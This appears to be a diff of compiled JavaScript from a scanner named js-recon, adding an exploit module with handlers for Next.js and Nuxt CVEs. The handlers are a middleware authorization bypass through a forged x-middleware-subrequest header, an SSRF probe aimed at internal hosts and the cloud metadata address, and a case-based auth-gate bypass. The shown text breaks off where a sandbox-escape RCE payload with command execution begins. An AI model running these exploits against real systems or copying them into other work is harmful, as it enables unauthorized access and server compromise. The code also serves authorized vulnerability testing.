import { generateEngineOutput } from "../analyze/helpers/outputHelper.js";
|
|
16
|
+
export { CVE_REGISTRY, groupedByFramework } from "./registry/cveRegistry.js";
|
|
17
|
+
/**
|
|
18
|
+
* Runs a single CVE exploit against a target and writes both output files.
|
|
19
|
+
*
|
|
20
|
+
* @param url Target base URL
|
|
21
|
+
* @param cveId CVE identifier to attempt (case-insensitive)
|
|
22
|
+
* @param options Output paths, exec command for RCE-class proofs, and request tuning
|
|
23
|
+
*/
|
|
24
|
+
const exploit = (url, cveId, options) => __awaiter(void 0, void 0, void 0, function* () {
|
|
25
|
+
printMsg(MSG.Header, `[i] Running 'exploit' module against ${url} (${cveId})`);
|
|
26
|
+
const cve = findCveMetadata(cveId);
|
|
27
|
+
if (!cve) {
|
|
28
|
+
printMsg(MSG.Err, `[!] Unknown CVE "${cveId}". Run 'js-recon exploit --list-cve' to see supported CVEs.`);
|
|
29
|
+
process.exit(1);
|
|
30
|
+
}
|
|
31
|
+
const handler = yield cve.handler();
|
|
32
|
+
const ctx = {
|
|
33
|
+
baseUrl: url,
|
|
34
|
+
timeout: options.timeout,
|
|
35
|
+
insecure: options.insecure,
|
|
36
|
+
execCmd: options.execCmd,
|
|
37
|
+
};
|
|
38
|
+
const outcome = yield handler(ctx);
|
|
39
|
+
if (outcome.vulnerable) {
|
|
40
|
+
printMsg(MSG.Run, `[✓] VULNERABLE: ${cve.id} — ${outcome.evidence}`);
|
|
41
|
+
}
|
|
42
|
+
else {
|
|
43
|
+
printMsg(MSG.Info, `[i] Not vulnerable: ${cve.id} — ${outcome.evidence}`);
|
|
44
|
+
}
|
|
45
|
+
generateExploitOutput(options.output, [toExploitFinding(cve.id, cve.commonName, cve.framework, url, outcome)]);
|
|
46
|
+
generateEngineOutput(options.engineOutput, [toEngineOutput(cve, url, outcome)]);
|
|
47
|
+
});
|
|
48
|
+
/** Prints all supported CVEs grouped by framework (alphabetical), sorted by CVE ID within each group. */
|
|
49
|
+
export const printCveList = () => {
|
|
50
|
+
for (const [framework, cves] of groupedByFramework()) {
|
|
51
|
+
console.log(chalk.cyan(`\n[${framework}]`));
|
|
52
|
+
for (const cve of cves) {
|
|
53
|
+
console.log(` ${chalk.green(cve.id)} ${chalk.dim(`(${cve.commonName})`)}`);
|
|
54
|
+
console.log(` ${chalk.dim(cve.description)}`);
|
|
55
|
+
}
|
|
56
|
+
}
|
|
57
|
+
console.log();
|
|
58
|
+
};
|
|
59
|
+
export default exploit;
|
|
60
|
+
//# sourceMappingURL=index.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"index.js","sourceRoot":"","sources":["../../src/exploit/index.ts"],"names":[],"mappings":"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"}
|
|
@@ -0,0 +1,65 @@
|
|
|
1
|
+
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
|
|
2
|
+
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
|
|
3
|
+
return new (P || (P = Promise))(function (resolve, reject) {
|
|
4
|
+
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
|
|
5
|
+
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
|
|
6
|
+
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
|
|
7
|
+
step((generator = generator.apply(thisArg, _arguments || [])).next());
|
|
8
|
+
});
|
|
9
|
+
};
|
|
10
|
+
import * as cheerio from "cheerio";
|
|
11
|
+
import rawRequest from "../utility/rawRequest.js";
|
|
12
|
+
import diffResponses from "../utility/compareResponses.js";
|
|
13
|
+
/** MAX_RECURSION_DEPTH in next/dist/server/web/sandbox/sandbox.js — the header must repeat exactly this many times. */
|
|
14
|
+
const RECURSION_DEPTH = 5;
|
|
15
|
+
/** Root middleware.ts uses "middleware"; a --src-dir layout uses "src/middleware" — both must be tried. */
|
|
16
|
+
const MIDDLEWARE_IDS = ["middleware", "src/middleware"];
|
|
17
|
+
export const buildMiddlewareBypassHeader = (id, depth = RECURSION_DEPTH) => Array(depth).fill(id).join(":");
|
|
18
|
+
/** Scrapes newly-served HTML for <script src> chunk references — lightweight, not a full `map`-style resolver. */
|
|
19
|
+
export const extractScriptUrls = (html, baseUrl) => {
|
|
20
|
+
const $ = cheerio.load(html);
|
|
21
|
+
const urls = new Set();
|
|
22
|
+
$("script[src]").each((_, el) => {
|
|
23
|
+
const src = $(el).attr("src");
|
|
24
|
+
if (!src)
|
|
25
|
+
return;
|
|
26
|
+
try {
|
|
27
|
+
urls.add(new URL(src, baseUrl).toString());
|
|
28
|
+
}
|
|
29
|
+
catch (_a) {
|
|
30
|
+
/* skip unresolvable src values */
|
|
31
|
+
}
|
|
32
|
+
});
|
|
33
|
+
return Array.from(urls);
|
|
34
|
+
};
|
|
35
|
+
const cve202529927 = (ctx) => __awaiter(void 0, void 0, void 0, function* () {
|
|
36
|
+
const baseline = yield rawRequest(ctx.baseUrl, { timeout: ctx.timeout, signal: ctx.signal });
|
|
37
|
+
if (!baseline) {
|
|
38
|
+
return { vulnerable: false, evidence: "Baseline request failed (network error).", discoveredUrls: [] };
|
|
39
|
+
}
|
|
40
|
+
for (const id of MIDDLEWARE_IDS) {
|
|
41
|
+
const payload = yield rawRequest(ctx.baseUrl, {
|
|
42
|
+
timeout: ctx.timeout,
|
|
43
|
+
signal: ctx.signal,
|
|
44
|
+
headers: { "x-middleware-subrequest": buildMiddlewareBypassHeader(id) },
|
|
45
|
+
});
|
|
46
|
+
if (!payload)
|
|
47
|
+
continue;
|
|
48
|
+
const diff = diffResponses(baseline, payload);
|
|
49
|
+
if (diff.becameSuccessful) {
|
|
50
|
+
return {
|
|
51
|
+
vulnerable: true,
|
|
52
|
+
evidence: `Middleware bypassed using x-middleware-subrequest id="${id}" (baseline status ${baseline.status} -> payload status ${payload.status}).`,
|
|
53
|
+
discoveredUrls: extractScriptUrls(payload.body, ctx.baseUrl),
|
|
54
|
+
rawFindingExtras: { bypassId: id },
|
|
55
|
+
};
|
|
56
|
+
}
|
|
57
|
+
}
|
|
58
|
+
return {
|
|
59
|
+
vulnerable: false,
|
|
60
|
+
evidence: `No bypass observed for either middleware id variant (baseline status ${baseline.status}).`,
|
|
61
|
+
discoveredUrls: [],
|
|
62
|
+
};
|
|
63
|
+
});
|
|
64
|
+
export default cve202529927;
|
|
65
|
+
//# sourceMappingURL=cve-2025-29927.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"cve-2025-29927.js","sourceRoot":"","sources":["../../../src/exploit/next/cve-2025-29927.ts"],"names":[],"mappings":"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"}
|
|
@@ -0,0 +1,51 @@
|
|
|
1
|
+
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
|
|
2
|
+
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
|
|
3
|
+
return new (P || (P = Promise))(function (resolve, reject) {
|
|
4
|
+
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
|
|
5
|
+
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
|
|
6
|
+
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
|
|
7
|
+
step((generator = generator.apply(thisArg, _arguments || [])).next());
|
|
8
|
+
});
|
|
9
|
+
};
|
|
10
|
+
import rawRequest from "../utility/rawRequest.js";
|
|
11
|
+
import diffResponses from "../utility/compareResponses.js";
|
|
12
|
+
/** Common dynamic-rewrite capture-group param names observed in the wild for CVE-2026-64645. */
|
|
13
|
+
const CANDIDATE_PARAMS = ["tenant", "region", "backend", "host"];
|
|
14
|
+
const CANDIDATE_HOSTS = ["127.0.0.1", "localhost", "169.254.169.254"];
|
|
15
|
+
export const buildProbeUrl = (baseUrl, param, host) => {
|
|
16
|
+
const url = new URL(baseUrl);
|
|
17
|
+
url.searchParams.set(param, host);
|
|
18
|
+
return url.toString();
|
|
19
|
+
};
|
|
20
|
+
const cve202664645 = (ctx) => __awaiter(void 0, void 0, void 0, function* () {
|
|
21
|
+
const baseline = yield rawRequest(ctx.baseUrl, { timeout: ctx.timeout, signal: ctx.signal });
|
|
22
|
+
if (!baseline) {
|
|
23
|
+
return { vulnerable: false, evidence: "Baseline request failed (network error).", discoveredUrls: [] };
|
|
24
|
+
}
|
|
25
|
+
for (const param of CANDIDATE_PARAMS) {
|
|
26
|
+
for (const host of CANDIDATE_HOSTS) {
|
|
27
|
+
const probeUrl = buildProbeUrl(ctx.baseUrl, param, host);
|
|
28
|
+
const payload = yield rawRequest(probeUrl, { timeout: ctx.timeout, signal: ctx.signal });
|
|
29
|
+
if (!payload)
|
|
30
|
+
continue;
|
|
31
|
+
const diff = diffResponses(baseline, payload);
|
|
32
|
+
// Reflected SSRF: the response body materially changed shape/size relative to the
|
|
33
|
+
// baseline for a request that only differs by an internal-host query param.
|
|
34
|
+
if (payload.status >= 200 && payload.status < 300 && Math.abs(diff.bodyLengthDelta) > 50) {
|
|
35
|
+
return {
|
|
36
|
+
vulnerable: true,
|
|
37
|
+
evidence: `Rewrite destination reflects internal host via ?${param}=${host} (body length delta ${diff.bodyLengthDelta}).`,
|
|
38
|
+
discoveredUrls: [probeUrl],
|
|
39
|
+
rawFindingExtras: { param, host },
|
|
40
|
+
};
|
|
41
|
+
}
|
|
42
|
+
}
|
|
43
|
+
}
|
|
44
|
+
return {
|
|
45
|
+
vulnerable: false,
|
|
46
|
+
evidence: "No reflected internal-host response observed across candidate rewrite params.",
|
|
47
|
+
discoveredUrls: [],
|
|
48
|
+
};
|
|
49
|
+
});
|
|
50
|
+
export default cve202664645;
|
|
51
|
+
//# sourceMappingURL=cve-2026-64645.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"cve-2026-64645.js","sourceRoot":"","sources":["../../../src/exploit/next/cve-2026-64645.ts"],"names":[],"mappings":";;;;;;;;;AAAA,OAAO,UAAU,MAAM,0BAA0B,CAAC;AAClD,OAAO,aAAa,MAAM,gCAAgC,CAAC;AAG3D,gGAAgG;AAChG,MAAM,gBAAgB,GAAG,CAAC,QAAQ,EAAE,QAAQ,EAAE,SAAS,EAAE,MAAM,CAAU,CAAC;AAC1E,MAAM,eAAe,GAAG,CAAC,WAAW,EAAE,WAAW,EAAE,iBAAiB,CAAU,CAAC;AAE/E,MAAM,CAAC,MAAM,aAAa,GAAG,CAAC,OAAe,EAAE,KAAa,EAAE,IAAY,EAAU,EAAE;IAClF,MAAM,GAAG,GAAG,IAAI,GAAG,CAAC,OAAO,CAAC,CAAC;IAC7B,GAAG,CAAC,YAAY,CAAC,GAAG,CAAC,KAAK,EAAE,IAAI,CAAC,CAAC;IAClC,OAAO,GAAG,CAAC,QAAQ,EAAE,CAAC;AAC1B,CAAC,CAAC;AAEF,MAAM,YAAY,GAAmB,CAAO,GAAmB,EAA2B,EAAE;IACxF,MAAM,QAAQ,GAAG,MAAM,UAAU,CAAC,GAAG,CAAC,OAAO,EAAE,EAAE,OAAO,EAAE,GAAG,CAAC,OAAO,EAAE,MAAM,EAAE,GAAG,CAAC,MAAM,EAAE,CAAC,CAAC;IAC7F,IAAI,CAAC,QAAQ,EAAE,CAAC;QACZ,OAAO,EAAE,UAAU,EAAE,KAAK,EAAE,QAAQ,EAAE,0CAA0C,EAAE,cAAc,EAAE,EAAE,EAAE,CAAC;IAC3G,CAAC;IAED,KAAK,MAAM,KAAK,IAAI,gBAAgB,EAAE,CAAC;QACnC,KAAK,MAAM,IAAI,IAAI,eAAe,EAAE,CAAC;YACjC,MAAM,QAAQ,GAAG,aAAa,CAAC,GAAG,CAAC,OAAO,EAAE,KAAK,EAAE,IAAI,CAAC,CAAC;YACzD,MAAM,OAAO,GAAG,MAAM,UAAU,CAAC,QAAQ,EAAE,EAAE,OAAO,EAAE,GAAG,CAAC,OAAO,EAAE,MAAM,EAAE,GAAG,CAAC,MAAM,EAAE,CAAC,CAAC;YACzF,IAAI,CAAC,OAAO;gBAAE,SAAS;YAEvB,MAAM,IAAI,GAAG,aAAa,CAAC,QAAQ,EAAE,OAAO,CAAC,CAAC;YAC9C,kFAAkF;YAClF,4EAA4E;YAC5E,IAAI,OAAO,CAAC,MAAM,IAAI,GAAG,IAAI,OAAO,CAAC,MAAM,GAAG,GAAG,IAAI,IAAI,CAAC,GAAG,CAAC,IAAI,CAAC,eAAe,CAAC,GAAG,EAAE,EAAE,CAAC;gBACvF,OAAO;oBACH,UAAU,EAAE,IAAI;oBAChB,QAAQ,EAAE,mDAAmD,KAAK,IAAI,IAAI,uBAAuB,IAAI,CAAC,eAAe,IAAI;oBACzH,cAAc,EAAE,CAAC,QAAQ,CAAC;oBAC1B,gBAAgB,EAAE,EAAE,KAAK,EAAE,IAAI,EAAE;iBACpC,CAAC;YACN,CAAC;QACL,CAAC;IACL,CAAC;IAED,OAAO;QACH,UAAU,EAAE,KAAK;QACjB,QAAQ,EAAE,+EAA+E;QACzF,cAAc,EAAE,EAAE;KACrB,CAAC;AACN,CAAC,CAAA,CAAC;AAEF,eAAe,YAAY,CAAC"}
|
|
@@ -0,0 +1,47 @@
|
|
|
1
|
+
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
|
|
2
|
+
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
|
|
3
|
+
return new (P || (P = Promise))(function (resolve, reject) {
|
|
4
|
+
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
|
|
5
|
+
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
|
|
6
|
+
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
|
|
7
|
+
step((generator = generator.apply(thisArg, _arguments || [])).next());
|
|
8
|
+
});
|
|
9
|
+
};
|
|
10
|
+
import rawRequest from "../utility/rawRequest.js";
|
|
11
|
+
import diffResponses from "../utility/compareResponses.js";
|
|
12
|
+
/** Covers both CVE-2026-71315 (regression) and CVE-2026-53721 (original disclosure) — same bypass. */
|
|
13
|
+
const CASING_VARIANTS = ["Admin", "admin", "ADMIN"];
|
|
14
|
+
/** All-lowercase control route on the same app, expected to correctly redirect/gate. */
|
|
15
|
+
const CONTROL_PATH = "/testauth";
|
|
16
|
+
export const buildCasedUrl = (baseUrl, casedSegment) => new URL(`/${casedSegment}`, baseUrl).toString();
|
|
17
|
+
const cve202671315 = (ctx) => __awaiter(void 0, void 0, void 0, function* () {
|
|
18
|
+
const controlUrl = new URL(CONTROL_PATH, ctx.baseUrl).toString();
|
|
19
|
+
const control = yield rawRequest(controlUrl, { timeout: ctx.timeout, signal: ctx.signal });
|
|
20
|
+
if (!control) {
|
|
21
|
+
return { vulnerable: false, evidence: "Control-route request failed (network error).", discoveredUrls: [] };
|
|
22
|
+
}
|
|
23
|
+
const bypassedVariants = [];
|
|
24
|
+
for (const variant of CASING_VARIANTS) {
|
|
25
|
+
const url = buildCasedUrl(ctx.baseUrl, variant);
|
|
26
|
+
const response = yield rawRequest(url, { timeout: ctx.timeout, signal: ctx.signal });
|
|
27
|
+
if (!response)
|
|
28
|
+
continue;
|
|
29
|
+
// The control route (all-lowercase, same app) is expected to redirect/gate. If a casing
|
|
30
|
+
// variant returns 200 while the control still redirects, the rule's auth gate was skipped
|
|
31
|
+
// specifically for that casing, not general auth breakage.
|
|
32
|
+
const diff = diffResponses(control, response);
|
|
33
|
+
if (diff.becameSuccessful)
|
|
34
|
+
bypassedVariants.push(variant);
|
|
35
|
+
}
|
|
36
|
+
if (bypassedVariants.length > 0) {
|
|
37
|
+
return {
|
|
38
|
+
vulnerable: true,
|
|
39
|
+
evidence: `Route-rule middleware gate bypassed for casing variant(s): ${bypassedVariants.join(", ")} (control route "${CONTROL_PATH}" correctly gated).`,
|
|
40
|
+
discoveredUrls: bypassedVariants.map((v) => buildCasedUrl(ctx.baseUrl, v)),
|
|
41
|
+
rawFindingExtras: { bypassedVariants },
|
|
42
|
+
};
|
|
43
|
+
}
|
|
44
|
+
return { vulnerable: false, evidence: "No casing-based route-rule bypass observed.", discoveredUrls: [] };
|
|
45
|
+
});
|
|
46
|
+
export default cve202671315;
|
|
47
|
+
//# sourceMappingURL=cve-2026-71315.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"cve-2026-71315.js","sourceRoot":"","sources":["../../../src/exploit/nuxt/cve-2026-71315.ts"],"names":[],"mappings":";;;;;;;;;AAAA,OAAO,UAAU,MAAM,0BAA0B,CAAC;AAClD,OAAO,aAAa,MAAM,gCAAgC,CAAC;AAG3D,sGAAsG;AACtG,MAAM,eAAe,GAAG,CAAC,OAAO,EAAE,OAAO,EAAE,OAAO,CAAU,CAAC;AAC7D,wFAAwF;AACxF,MAAM,YAAY,GAAG,WAAW,CAAC;AAEjC,MAAM,CAAC,MAAM,aAAa,GAAG,CAAC,OAAe,EAAE,YAAoB,EAAU,EAAE,CAC3E,IAAI,GAAG,CAAC,IAAI,YAAY,EAAE,EAAE,OAAO,CAAC,CAAC,QAAQ,EAAE,CAAC;AAEpD,MAAM,YAAY,GAAmB,CAAO,GAAmB,EAA2B,EAAE;IACxF,MAAM,UAAU,GAAG,IAAI,GAAG,CAAC,YAAY,EAAE,GAAG,CAAC,OAAO,CAAC,CAAC,QAAQ,EAAE,CAAC;IACjE,MAAM,OAAO,GAAG,MAAM,UAAU,CAAC,UAAU,EAAE,EAAE,OAAO,EAAE,GAAG,CAAC,OAAO,EAAE,MAAM,EAAE,GAAG,CAAC,MAAM,EAAE,CAAC,CAAC;IAC3F,IAAI,CAAC,OAAO,EAAE,CAAC;QACX,OAAO,EAAE,UAAU,EAAE,KAAK,EAAE,QAAQ,EAAE,+CAA+C,EAAE,cAAc,EAAE,EAAE,EAAE,CAAC;IAChH,CAAC;IAED,MAAM,gBAAgB,GAAa,EAAE,CAAC;IACtC,KAAK,MAAM,OAAO,IAAI,eAAe,EAAE,CAAC;QACpC,MAAM,GAAG,GAAG,aAAa,CAAC,GAAG,CAAC,OAAO,EAAE,OAAO,CAAC,CAAC;QAChD,MAAM,QAAQ,GAAG,MAAM,UAAU,CAAC,GAAG,EAAE,EAAE,OAAO,EAAE,GAAG,CAAC,OAAO,EAAE,MAAM,EAAE,GAAG,CAAC,MAAM,EAAE,CAAC,CAAC;QACrF,IAAI,CAAC,QAAQ;YAAE,SAAS;QAExB,wFAAwF;QACxF,0FAA0F;QAC1F,2DAA2D;QAC3D,MAAM,IAAI,GAAG,aAAa,CAAC,OAAO,EAAE,QAAQ,CAAC,CAAC;QAC9C,IAAI,IAAI,CAAC,gBAAgB;YAAE,gBAAgB,CAAC,IAAI,CAAC,OAAO,CAAC,CAAC;IAC9D,CAAC;IAED,IAAI,gBAAgB,CAAC,MAAM,GAAG,CAAC,EAAE,CAAC;QAC9B,OAAO;YACH,UAAU,EAAE,IAAI;YAChB,QAAQ,EAAE,8DAA8D,gBAAgB,CAAC,IAAI,CAAC,IAAI,CAAC,oBAAoB,YAAY,qBAAqB;YACxJ,cAAc,EAAE,gBAAgB,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,aAAa,CAAC,GAAG,CAAC,OAAO,EAAE,CAAC,CAAC,CAAC;YAC1E,gBAAgB,EAAE,EAAE,gBAAgB,EAAE;SACzC,CAAC;IACN,CAAC;IAED,OAAO,EAAE,UAAU,EAAE,KAAK,EAAE,QAAQ,EAAE,6CAA6C,EAAE,cAAc,EAAE,EAAE,EAAE,CAAC;AAC9G,CAAC,CAAA,CAAC;AAEF,eAAe,YAAY,CAAC"}
|
|
@@ -0,0 +1,114 @@
|
|
|
1
|
+
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
|
|
2
|
+
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
|
|
3
|
+
return new (P || (P = Promise))(function (resolve, reject) {
|
|
4
|
+
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
|
|
5
|
+
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
|
|
6
|
+
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
|
|
7
|
+
step((generator = generator.apply(thisArg, _arguments || [])).next());
|
|
8
|
+
});
|
|
9
|
+
};
|
|
10
|
+
import { hash } from "ohash";
|
|
11
|
+
import rawRequest from "../utility/rawRequest.js";
|
|
12
|
+
import runSandboxRceProof, { escapeSingleQuotedLiteral } from "../utility/sandboxRce.js";
|
|
13
|
+
/** Default Server Island component name probed when none is known ahead of time. */
|
|
14
|
+
const DEFAULT_COMPONENT = "MyWidget";
|
|
15
|
+
/**
|
|
16
|
+
* The `/__nuxt_island/<name>_<hash>` hash suffix is not a security token — it's
|
|
17
|
+
* `ohash.hash([name, props, context, source])` with no secret key, fully computable client-side.
|
|
18
|
+
* The raw ohash digest can contain `-`/`_`, which the island name/hash URL segment rejects, so
|
|
19
|
+
* Nuxt's own client-side request builder strips them before appending the suffix. `source` is
|
|
20
|
+
* left `undefined` (not an empty string) to match the request shape Nuxt's own runtime produces —
|
|
21
|
+
* hashing `undefined` is not the same as hashing `""` and produces a different digest.
|
|
22
|
+
*/
|
|
23
|
+
export const computeIslandHash = (name, props, context = {}) => hash([name, props, context, undefined]).replace(/[-_]/g, "");
|
|
24
|
+
/**
|
|
25
|
+
* Mirrors the proven-working escape shape: grabs the real global object via the Function
|
|
26
|
+
* constructor first (`'a'.constructor.constructor('return globalThis')()`), since bare
|
|
27
|
+
* `globalThis` cannot be assumed to resolve correctly inside Vue's `with(_ctx)` interpolation
|
|
28
|
+
* sandbox — every property access, including reading the stash back in stage 2, goes through
|
|
29
|
+
* that same real-global reference rather than a bare identifier.
|
|
30
|
+
*/
|
|
31
|
+
const sandboxEscapePayload = (cmd, marker) => {
|
|
32
|
+
